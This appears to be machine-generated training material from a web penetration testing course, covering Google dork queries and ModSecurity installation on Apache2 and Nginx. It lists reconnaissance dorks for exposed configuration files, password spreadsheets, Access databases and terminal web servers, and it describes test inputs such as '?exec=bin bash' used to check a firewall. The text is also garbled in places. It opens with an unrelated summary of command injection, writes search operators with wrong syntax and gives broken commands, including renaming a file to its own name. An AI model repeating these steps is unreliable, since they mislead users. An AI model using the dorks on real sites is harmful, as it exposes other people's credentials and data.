This didactic material provided an overview of Command Injection and Local File Inclusion vulnerabilities in the context of web application penetration testing. It highlighted the importance of understanding the limitations and defenses of an application to exploit command injection vulnerabilities successfully. Additionally, it briefly mentioned the involvement of cookies in level 11 of the Natas challenge.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: GOOGLE HACKING FOR PENTESTING
TOPIC: GOOGLE DORKS FOR PENETRATION TESTING

Google Hacking for Penetration Testing

Google hacking, also known as Google dorks, is a passive information gathering technique used by cybersecurity professionals to discover vulnerabilities, data exposure, and security misconfigurations in websites. This technique involves using specialized search queries, known as search query operators, to fine-tune search results based on specific criteria.

By leveraging Google's powerful search engine, hackers can search for websites, files, or specific information within websites using various operators. Some commonly used operators include:

1. Site: This operator narrows down search results to a specific site or top-level domain. For example, "site:hsploit.com" will only display results from the hsploit.com domain.

2. In title: This operator restricts search results to web page titles. For instance, "in title:hack exploit" will only show web pages with the title "hack exploit".

3. In url: This operator filters results based on the URL of a website. For example, "in url:hsploit.com" will display web pages belonging to the hsploit.com domain.

4. File type: This operator allows users to search for specific file types based on their extensions. For instance, "file type:pdf" will only show PDF files in the search results.

5. Link: This operator helps identify web pages that are linked to a specified URL or top-level domain. It is useful for finding relationships between different domains or shared information.

6. Cache: This operator searches for a cached copy of a web page as indexed by Google. It can be useful for accessing older versions of web pages, although it is not the preferred method.

These operators can be combined to refine search results further and obtain more specific information. For example, "site:hsploit.com inurl:uploads file type:pdf" would search for PDF files within the uploads directory of the hsploit.com domain.

Google hacking can be a valuable technique for penetration testers, allowing them to identify potential vulnerabilities and misconfigurations in web applications. However, it is important to note that this technique should only be used for ethical purposes and with proper authorization.

Google hacking is a popular technique used by penetration testers to find vulnerabilities, misconfigurations, and data exposures in web applications. It involves using specially crafted Google search queries to discover these vulnerabilities. The Google Hacking Database is a collection of these search queries, maintained by Exploit DB. Pen testers can use these queries with various search engines.

One of the basic search operators used in Google hacking is the "site" operator. It allows you to restrict your search results to a specific domain or top-level domain. This is useful when performing research on a company's website. For example, if you want to search only within the domain "hsploit.com," you can use the query "site:hsploit.com." This will give you all the pages indexed by Google for that domain.

Another useful operator is the "inurl" operator, which allows you to search for a specific URL or part of a URL within a domain. For example, if you want to find the contact page on "hsploit.com," you can use the query "inurl:contact." This will display the contact page for that domain. You can also combine operators to further refine your search. For example, you can search for the "wordpress admin" page within a domain using the query "inurl:wordpress admin."

The "intitle" operator is used to search for pages with a specific title. This can be useful when you want to find pages with a specific keyword in the title within a domain. For example, you can search for pages with the title

"China" on "bbc.com" using the query "site:bbc.com intitle:China." This will display all the pages on the BBC website with the title "China."

The "link" operator allows you to find pages that have a link to a specific domain or website. For example, if you want to find all the pages that have a link to "hsploit.com," you can use the query "link:hsploit.com." This will display all the pages that have a link to "hsploit.com," including external websites.

Lastly, the "cache" operator allows you to view the cached version of a web page. This can be useful when you want to see the latest cached version of a page. For example, you can use the query "cache:bbc.com" to view the cached version of the BBC website.

These are just some of the basic operators used in Google hacking for penetration testing. By combining these operators and using different search queries, pen testers can uncover vulnerabilities, misconfigurations, and data exposures in web applications.

Google Hacking for Penetration Testing - Google Dorks for Penetration Testing

Google hacking is a technique used by penetration testers to find vulnerabilities and gather information about a target website. By using specific search queries, also known as Google dorks, testers can uncover sensitive information that may be exposed on the internet.

One of the basic techniques in Google hacking is searching for websites that have directory listing enabled. This allows testers to find publicly available indexes of files and directories on a website. By using the "inurl:index of" operator, followed by a specific string like "index of /", testers can find websites with directory listing enabled. This can be useful for finding information or data that may be inadvertently exposed on a website.

For example, by searching for "inurl:index of /", testers can find websites with directory listing enabled. They can then browse through the indexes and potentially find files or directories that contain sensitive information. It is important to note that this technique should only be used for educational purposes and with proper authorization.

Another technique in Google hacking is searching for SQL databases and PHP configuration files that may contain credentials to these databases. By using the "inurl:config.php" or "inurl:db.php" operators, testers can find websites that have these files exposed. This can be a potential security risk, as it may allow unauthorized access to the database.

It is crucial to mention that Google hacking should be performed ethically and with proper authorization. Penetration testers should always follow legal and ethical guidelines when conducting these tests. The information obtained through Google hacking should be used responsibly and not for malicious purposes.

Google hacking is a powerful technique used by penetration testers to identify vulnerabilities and gather information about a target website. By using specific search queries, testers can uncover sensitive information that may be exposed on the internet. However, it is important to use this technique ethically and responsibly, following legal guidelines and obtaining proper authorization.

Google Hacking for Penetration Testing - Google Dorks For Penetration Testing

Google hacking, also known as Google dorking, is a technique used by penetration testers to find vulnerabilities in web applications. By using specific search queries, known as Google dorks, testers can uncover sensitive information that is publicly available on the internet.

One common use of Google dorks is to find directory listings and configuration files. By searching for "index of" followed by a specific file name, such as "config.php," testers can find directories that contain configuration files. These files often contain sensitive information, such as database credentials or API keys, that can be used to compromise a web application.

To search for specific file types, testers can add the "filetype" operator to their query. For example, searching for "index of config filetype:php" will return only PHP files with the name "config" in the directory listing. This can help testers narrow down their search and find relevant configuration files.

Another use of Google dorks is to find misconfigured installations of popular web platforms, such as WordPress. By searching for "wordpressconfig.php," testers can find WordPress configuration files that may contain sensitive information or provide access to the entire directory of the WordPress installation. This can be a valuable source of information for attackers.

Google dorks can also be used to search for specific file types, such as Microsoft Access databases. By using the "allinurl" operator and specifying the file type, testers can find Microsoft database files, such as "admin.mdb." These files may contain sensitive information, such as user credentials or confidential data.

Additionally, Google dorks can be used to search for open terminal web servers, which allow users to interact with a remote terminal. By searching for "inurl ts web," testers can find web servers that provide terminal access. If credentials are known or the server is misconfigured, testers can gain unauthorized access to the server and potentially compromise the entire system.

It is important to note that Google hacking should only be performed on systems that you have permission to test. Unauthorized access to systems or the use of sensitive information without permission is illegal and unethical.

Google hacking is a powerful technique for penetration testers to find vulnerabilities in web applications. By using specific search queries, testers can uncover sensitive information and misconfigured installations that can be exploited. However, it is crucial to always obtain proper authorization before performing any penetration testing activities.

Google hacking is a technique used in web applications penetration testing to discover vulnerabilities and misconfigurations. By leveraging specific search queries, known as Google dorks, an attacker can find sensitive information such as usernames, passwords, and email addresses.

One example of Google hacking is searching for websites that have been configured incorrectly, allowing unauthorized access to user credentials. By using a combination of keywords and operators, like "login" and "password," an attacker can find websites with exposed login credentials. These credentials can be used to attempt unauthorized logins and gain access to sensitive information.

Another example is searching for spreadsheet files, such as XLS files, that contain stored passwords. Many organizations, including enterprises, store passwords in spreadsheet files, making them vulnerable to unauthorized access. By using a specific Google search query, an attacker can find these files and potentially obtain passwords.

Google hacking can also be used to find vulnerabilities in specific software or systems. For example, searching for "wordpress backup files" can reveal backup files that may contain sensitive information. Similarly, searching for "apache vulnerabilities" can help identify vulnerabilities in Apache web servers.

The Google Hacking Database is a valuable resource that provides a wide range of Google dorks for finding vulnerabilities on specific websites or systems. It includes dorks for popular content management systems like WordPress, as well as dorks for specific versions of software like Apache.

It is important to note that Google hacking is an ethical hacking technique used by security professionals to identify and address vulnerabilities. Unauthorized use of this technique is illegal and can lead to severe consequences.

Google hacking is a powerful technique for web applications penetration testing. By using specific search queries, an attacker can find vulnerabilities and misconfigurations that may expose sensitive information. Security professionals can leverage Google hacking to identify and address these vulnerabilities, ensuring the security of web applications and systems.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: MODSECURITY
TOPIC: APACHE2 MODSECURITY

ModSecurity is a web application firewall that can be used to secure Apache web servers. It is a free and open-source tool that was designed specifically for Apache. ModSecurity has grown into a fully-fledged web application firewall and is known for its powerful features.

A web application firewall, like ModSecurity, works by inspecting requests that are sent to the web server in real-time. It uses predefined rules to determine whether a request is malicious or not. For example, if an attacker tries to perform cross-site scripting or SQL injection attacks, ModSecurity will analyze the request and block it if it matches any known attack patterns.

ModSecurity works in conjunction with core rule sets, which are collections of rules that define what requests should be allowed or blocked. In this case, we will be using the OWASP core rule set, which provides protection against common attack categories such as SQL injection, cross-site scripting, and local file inclusion.

To install ModSecurity, you can use the following command:

```
1. sudo apt install libapache2-mod-security2
```

After installing ModSecurity, you will need to restart Apache. You can also enable the headers module for Apache, which can be done with the command:

```
1. sudo a2enmod headers
2. sudo systemctl restart apache2
```

Once ModSecurity is installed and Apache is restarted, you will need to configure the rules. The OWASP core rule set can be downloaded from the OWASP website. These rules will help protect your web application from a wide range of attacks.

ModSecurity is a powerful tool that can enhance the security of your Apache web server by blocking malicious requests. By using a web application firewall like ModSecurity, you can protect your web applications from common vulnerabilities and ensure the security of your server.

To configure ModSecurity with Apache2, we need to follow a series of steps. First, we need to list the actual directory using the command "ls" and locate the directory we are interested in, which should be under the "user share" directory. In this case, we are dealing with the ModSecurity Core Rule Sets, which are located in the "mod security crs" directory.

To set up our own rules, we need to remove the existing ModSecurity Core Rule Sets folder and replace it with our own rules. To do this, we can use the command "sudo remove" followed by the directory path "user share/mod security crs".

Next, we need to clone the GitHub repository containing our own rules. We can do this by using the command "git clone" followed by the GitHub repository link. After cloning the repository, we need to place the files into the ModSecurity Core Rule Set folder. Since we deleted the folder earlier, we need to create it again using the command "sudo mkdir user share/mod security crs". Then, we can use the command "git clone" followed by the GitHub repository link and the directory path "user share/mod security crs" to clone the repository into the correct folder.

After setting up the ModSecurity Core Rule Set, we can list the contents of the core rule set directory to verify that the files are present. This can be done using the command "ls user share/mod security crs".

The core rule set includes various rules for popular web applications such as Drupal, WordPress, Nextcloud, and phpMyAdmin. These rules provide exclusions and configurations for specific web applications, enhancing the security of the web server. The rules can be explored by opening the GitHub repository and examining the files.

To finalize the configuration, we need to rename the core rule set setup file to the configuration file. We can use the command "move" followed by the source file path "user share/mod security crs/crs setup" and the destination file path "user share/mod security crs/crs setup.conf".

Next, we need to rename the ModSecurity configuration file. The file is located in the "etc/mod security" directory. We can use the command "sudo mv" followed by the source file path "etc/mod security/mod security.conf" and the destination file path "etc/mod security/mod security.conf".

In the ModSecurity configuration file, we need to enable the security rule engine by changing the "SecRuleEngine" directive to "On". This can be done by editing the file and changing the value to "On" for the "SecRuleEngine" directive.

Finally, we need to enable ModSecurity within Apache2 by modifying the default Apache configuration file. The file is located in the "etc/apache2" directory. We can use the command "sudo vim" followed by the file path "etc/apache2/apache2.conf" to open the file for editing.

Within the Apache configuration file, we need to find the "mod security.conf" line and rename it to "mod security.conf". Then, we need to locate the "SecRuleEngine" directive and change its value to "On".

Once the changes are made, we can save and quit the file. With these configurations in place, ModSecurity will be enabled within Apache2, providing active blocking and exclusions for enhanced security.

To enhance the security of web applications, it is important to perform penetration testing and utilize tools such as ModSecurity in Apache2. ModSecurity is a module that provides web application firewall capabilities to protect against various attacks.

To configure ModSecurity, we need to include the necessary directives in the Apache configuration file. First, we need to ensure that the ModSecurity module is loaded. This can be done by using the "if module" directive and specifying the name of the module as "security2_module". We then include the directory of the core rule set, which contains predefined rules to protect against common web application vulnerabilities.

To include the core rule set, we use the "include" directive and specify the path to the setup file, "crs setup.conf". Additionally, we include the user directory under the same directory, "user share mod security", and load all the rules stored under the "rules" directory using the wildcard option.

It is also recommended to include these configurations in the default Apache directory configuration for enabled sites, especially if virtual hosts are configured. This can be done by opening the Apache sites-enabled directory and adding the same directives mentioned above.

To activate the security rule engine, we use the "sec rule engine" directive and set it to "on". This ensures that the rules defined in ModSecurity are enforced.

After making these configurations, it is important to restart Apache to apply the changes. This can be done using the command "systemctl restart apache2".

Once ModSecurity is properly configured, we can begin testing its effectiveness. One common test is to check for SQL injection vulnerabilities. By attempting to inject SQL code, such as using a single quote ('), we can verify if ModSecurity correctly denies access for such attempts.

Another test is to tamper with parameters and attempt to execute commands or obtain a reverse shell. By trying to execute commands like "bin" or "bash", we can see if ModSecurity prevents unauthorized access.

By conducting these tests and observing the behavior of ModSecurity, we can ensure that our web applications are protected against common security vulnerabilities.

When it comes to web application security, one important aspect is penetration testing. Penetration testing involves simulating attacks on a web application to identify vulnerabilities and assess the effectiveness of the implemented security measures. In this context, ModSecurity, an open-source web application firewall (WAF) module for Apache2, plays a crucial role in protecting web applications against various types of attacks.

ModSecurity comes with a wide range of rule sets, including the core rule set (CRS) for ModSecurity, which contains numerous rules for different web applications. These rules are designed to prevent attacks such as local file inclusion, remote code execution (RCE), cross-site scripting (XSS), and SQL injection, among others. By utilizing these rule sets, web application developers and administrators can enhance the security of their applications.

To demonstrate the effectiveness of ModSecurity, let's consider a scenario where we attempt to access a resource for which we don't have permission. In this case, ModSecurity blocks the access and returns a "forbidden" message, indicating that the user doesn't have access to the particular page. This showcases how ModSecurity can prevent unauthorized access to sensitive resources.

Furthermore, ModSecurity can also protect against specific types of attacks. For example, if we attempt a cross-site scripting attack by injecting malicious code into an input field, ModSecurity detects and blocks the attack, preventing the execution of the injected code. Similarly, if we try to perform a local file inclusion attack by including a malicious file, ModSecurity recognizes the attack and prevents the execution of the included file.

To validate the effectiveness of ModSecurity, we can disable the rule engine and the module itself, restart Apache, and then attempt the same attacks. In this case, we observe that ModSecurity no longer blocks the attacks, allowing the execution of potentially malicious code or file inclusion. This highlights the importance of ModSecurity in mitigating various types of web application vulnerabilities.

By enabling ModSecurity and utilizing the core rule set, web application developers and administrators can enhance the security of their applications, particularly if they are using popular content management systems like WordPress. While it's important to note that ModSecurity cannot protect against all possible exploits, it provides a comprehensive set of rules that cover a wide range of attacks, including SQL errors and PowerShell commands.

ModSecurity is a powerful tool for enhancing the security of web applications. By leveraging its rule sets, such as the core rule set, developers and administrators can protect against common attacks like XSS, SQL injection, and local file inclusion. While ModSecurity cannot guarantee complete protection against all possible vulnerabilities, it significantly improves the security posture of web applications.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: MODSECURITY
TOPIC: NGINX MODSECURITY

ModSecurity is a popular web application firewall that provides protection against various types of attacks. In this didactic material, we will focus on how to secure Nginx with ModSecurity or how to configure ModSecurity to work with Nginx.

Nginx is a widely adopted web server technology that offers customization and configurability. It is the second most popular web server technology after Apache. One of the advantages of Nginx is its ability to easily set up a web proxy. In this video, we will only focus on the ModSecurity aspect of Nginx.

Installing ModSecurity on Nginx is not as straightforward as it is not officially supported by Nginx. However, ModSecurity has created a connector called ModSecurity Engine X Connector that acts as a communication channel between Nginx and LibModSecurity, which is ModSecurity version 3. This connector takes the form of an Nginx module and serves as a layer of communication between Nginx and ModSecurity.

The new version of the ModSecurity Engine X Connector is closer to Nginx and uses the new LibModSecurity, which is no longer dependent on Apache. This version has fewer bugs, less dependencies, and is faster compared to the old version that used ModSecurity standalone.

To get started with installing Nginx and the necessary compilation tools and utilities, we will use an Ubuntu server. First, update and upgrade the system using the command "apt update" and "apt upgrade". Then, install Nginx using the command "apt install nginx".

It is important to note the version of Nginx being installed, especially if you are using a different distribution. In this example, we used Ubuntu 18.04 server, but the installation process should work on other commonly used distributions like CentOS.

Please note that the complete installation and compilation instructions are provided in the supplementary documentation. It is recommended to follow those instructions if you are a beginner.

To perform web applications penetration testing, it is necessary to understand and utilize various security tools and modules. In this didactic material, we will focus on ModSecurity, a popular web application firewall (WAF), and its integration with Nginx, a high-performance web server.

Firstly, it is important to ensure that the latest version of Nginx is installed. To check the version, simply type "nginx -v" in the terminal. The current version is Nginx 1.14.0.

To proceed with the installation, we need to install the necessary compilation tools and utilities. These tools are required for the compilation process of the modules. The compilation tools and utilities can be obtained from the provided resource. Once installed, we can move on to the next step.

Before proceeding further, it is crucial to confirm that the Nginx server is running properly. This can be done by accessing the server through a web browser. If the server is running, a "Welcome to Nginx" message should be displayed.

Now, we can begin the process of downloading and compiling ModSecurity manually. To do this, navigate to the "opt" directory, which is typically used for storing third-party software and programs. Clone the ModSecurity repository from GitHub using the command "git clone [repository URL]".

Once the repository is cloned, navigate into the ModSecurity directory. Here, we need to initialize the submodule and update it using the commands "git submodule init" and "git submodule update" respectively.

Next, we can start the build process by running the build script using the command "build.sh". This script will configure the environment and prepare it for the compilation process. After the build script completes, we can run the "make" command to compile the ModSecurity module. This process may take some time.

Once the compilation is finished, we can proceed with the installation by running the command "make install". This will install ModSecurity for us.

After successfully installing ModSecurity, we need to download the ModSecurity Nginx connector. Clone the connector repository from GitHub by running the command "git clone [repository URL]".

Navigate into the ModSecurity Nginx connector directory and proceed with the compilation of the module for Nginx. Before compiling, ensure that the version of Nginx installed matches the version we have. Display the Nginx version using the command "nginx -v".

To perform web application penetration testing, it is important to have the necessary tools and modules installed. In this case, we will focus on ModSecurity and Nginx ModSecurity.

First, we need to download Nginx version 1.14.0. To do this, we can use the `wget` command and specify the download URL. Once downloaded, we extract the tarball using the `tar` command.

Next, we need to configure the environment. To do this, we run the configure command with specific arguments. These arguments can be obtained by using the `nginx -V` command, which displays the configure arguments used to compile the version of Nginx. It is important to copy the configure arguments specific to your distribution or version of Nginx.

After configuring the environment, we need to add the ModSecurity module. This module is included in the ModSecurity Nginx Connector directory, which is located in the opt directory. We use the `add dynamic module` command and specify the directory and file name.

Before proceeding, we need to ensure that all dependencies and build tools are installed. If any errors occur during the configure process, we may need to install additional packages. For example, if the configure process requires the `libxslt` package, we can install it using the `sudo apt install libxslt` command. Similarly, if the process requires the `libgd` package, we can install it using the `sudo apt install libgd-dev` command.

Once all dependencies are installed and the configure process is successful, we can proceed to make the modules. This can be done by running the `make modules` command. This process may take a few minutes to complete.

After the modules are created, we need to copy the ModSecurity module that was created for Nginx. This module facilitates the connection between ModSecurity and Nginx. The module is stored in the objects directory.

To perform web application penetration testing using ModSecurity and Nginx ModSecurity, we need to download and extract the necessary files, configure the environment, add the ModSecurity module, install any required dependencies, make the modules, and finally, copy the ModSecurity module for Nginx.

To enable the ModSecurity module in Nginx, we need to follow a few steps. First, we need to copy the "nginx-http-modsecurity" module to the Nginx modules directory. We can create this directory by running the command "mkdir /etc/nginx/modules". Then, we can copy the module to this directory using the command "cp ngx_http_modsecurity_module.so /etc/nginx/modules".

Next, we need to load the module into the Nginx configuration file. The default configuration file can be found at "/etc/nginx/nginx.conf". We can add the module by using the "include" directive. To do this, we need to add the line "load_module /etc/nginx/modules/ngx_http_modsecurity_module.so;" to the configuration file.

Before we can start using ModSecurity, we need to set up the rule set. We can download the OS Core Rule Set (CRS) from the repository and clone it into the "/opt" directory. Once cloned, we need to rename the "crs_setup.conf.example" file to "crs_setup.conf" by running the command "mv crs_setup.conf.example crs_setup.conf".

After renaming the file, we need to modify the request exclusion rules. We can do this by running the command "mv rules/request-EXAMPLE.conf rules/request.conf". This will remove the "EXAMPLE" extension from the file name.

Next, we need to move the ModSecurity CRS directory to the "/usr/local" directory. We can do this by running the command "mv modsecurity-crs /usr/local/modsecurity".

Now, we can move on to configuring ModSecurity. We need to create a directory called "modsec" under "/etc/nginx". This can be done using the command "mkdir /etc/nginx/modsec". Once created, we can copy the default configuration files from the ModSecurity GitHub repository to this directory.

These steps will enable the ModSecurity module in Nginx and set up the necessary configurations for its use.

To configure ModSecurity with Nginx, follow these steps:

1. Move the Unicode mapping file to the appropriate directory by running the command: `mv unicode_mapping /etc/nginx/modsecurity/unicode.mapping`

2. Rename the `modsecurity.conf.recommended` file to `modsecurity.conf` by executing the command: `mv modsecurity.conf.recommended modsecurity.conf`

3. Copy the `modsecurity.conf` file to the `/etc/nginx/modsecurity` folder using the command: `cp modsecurity.conf /etc/nginx/modsecurity/`

4. Open the `modsecurity.conf` file in the `/etc/nginx/modsecurity` directory for editing by running the command: `vim /etc/nginx/modsecurity/modsecurity.conf`

5. Change the value of `SecRuleEngine` from `DetectionOnly` to `On` to enable active defense against attacks. Save the changes.

6. Create the main configuration file for ModSecurity by running the command: `vim /etc/nginx/modsecurity/main.conf`

7. In the `main.conf` file, include the `modsecurity.conf` file by adding the line: `Include "/etc/nginx/modsecurity/modsecurity.conf"`

8. Include the Core Rule Set (CRS) by adding the line: `Include "/usr/local/modsecurity-crs/*/*.conf"`

9. Save and close the `main.conf` file.

10. Restart Nginx to apply the changes by running the command: `systemctl restart nginx`

By following these steps, you will have successfully configured ModSecurity with Nginx, enabling active defense against web application attacks.

In order to ensure the security of web applications, it is crucial to perform penetration testing to identify vulnerabilities and potential threats. One tool that can be used for this purpose is ModSecurity, which is an open-source web application firewall. ModSecurity works in conjunction with the Nginx web server to protect against various types of attacks.

To test the functionality of ModSecurity, one can perform parameter tampering. By reloading the Nginx server, it can be observed that ModSecurity is active. To further test this, a simple parameter test can be executed by appending "?exec=bin bash" to the URL. If ModSecurity is working properly, it will detect this as a forbidden action.

Enabling and disabling ModSecurity can be done by modifying the site configuration file. By specifying "mod security on" or "mod security off", the functionality of ModSecurity can be controlled. Additionally, a rules file can be specified in the configuration, which contains the necessary ModSecurity configuration and the OS ModSecurity Core Rule Set. This rule set provides protection against the OWASP Top 10 attacks.

Disabling ModSecurity can be done by modifying the site configuration and setting "mod security off". After restarting the Nginx server, the parameter test will be executed successfully, indicating that ModSecurity is no

longer active. However, it is important to note that disabling ModSecurity can leave the web application vulnerable to attacks.

To re-enable ModSecurity, simply set "mod security on" in the site configuration. This allows for easy toggling of ModSecurity's functionality based on the specific needs of the web application.

Setting up ModSecurity on Nginx may seem complex, but the documentation provided by Spider Labs explains the process in detail. If any issues arise during the setup or if there are any questions, the comments section or the author's social networks can be used to seek assistance.

ModSecurity is a valuable tool for securing web applications. By performing parameter tampering tests and enabling or disabling ModSecurity through the site configuration, the security of the web application can be effectively managed.